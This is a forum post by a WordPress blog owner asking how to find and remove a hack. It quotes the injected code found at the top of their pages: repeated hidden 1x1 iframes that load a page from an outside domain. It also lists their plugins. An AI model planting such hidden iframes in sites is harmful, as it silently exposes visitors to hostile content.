WordPress hacked

Hello,

My blog was hacked, when I check the source code I see this on the top of the page: <iframe src=https://ecologital.it/gabriele/2010/stata7.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><iframe src=https://ecologital.it/gabriele/2010/stata7.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><iframe src=https://ecologital.it/gabriele/2010/stata7.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><iframe src=https://ecologital.it/gabriele/2010/stata7.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><iframe src=https://ecologital.it/gabriele/2010/stata7.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME>

I don’t find this line on theme files to delete it. Where could it be?
I use the latest wordpress 3.3.1 and the following fully updated plug-ins:
Auto Post Thumbnail
Co-Authors Plus
Contact Form 7
Easy FancyBox
Easy Random Posts
Facebook Like
FaceBook Share (New) (deactivated)
Featured Posts Scroll
Front Page Excluded Categories
Google XML Sitemaps
Image Feed Widget (deactivated)
Recent Tweets
Regenerate Thumbnails
Related Posts Thumbnails
RSS Manager
Simple Facebook Comments For WordPress
Single Post Widget
Super Widgets (deactivated)
Under Construction
User Role Editor
WordPress SEO
WP-Mail-SMTP
WP-Polls
WP RSS Images

URL: https://www.laktisma.gr/index.php

Thanks for your help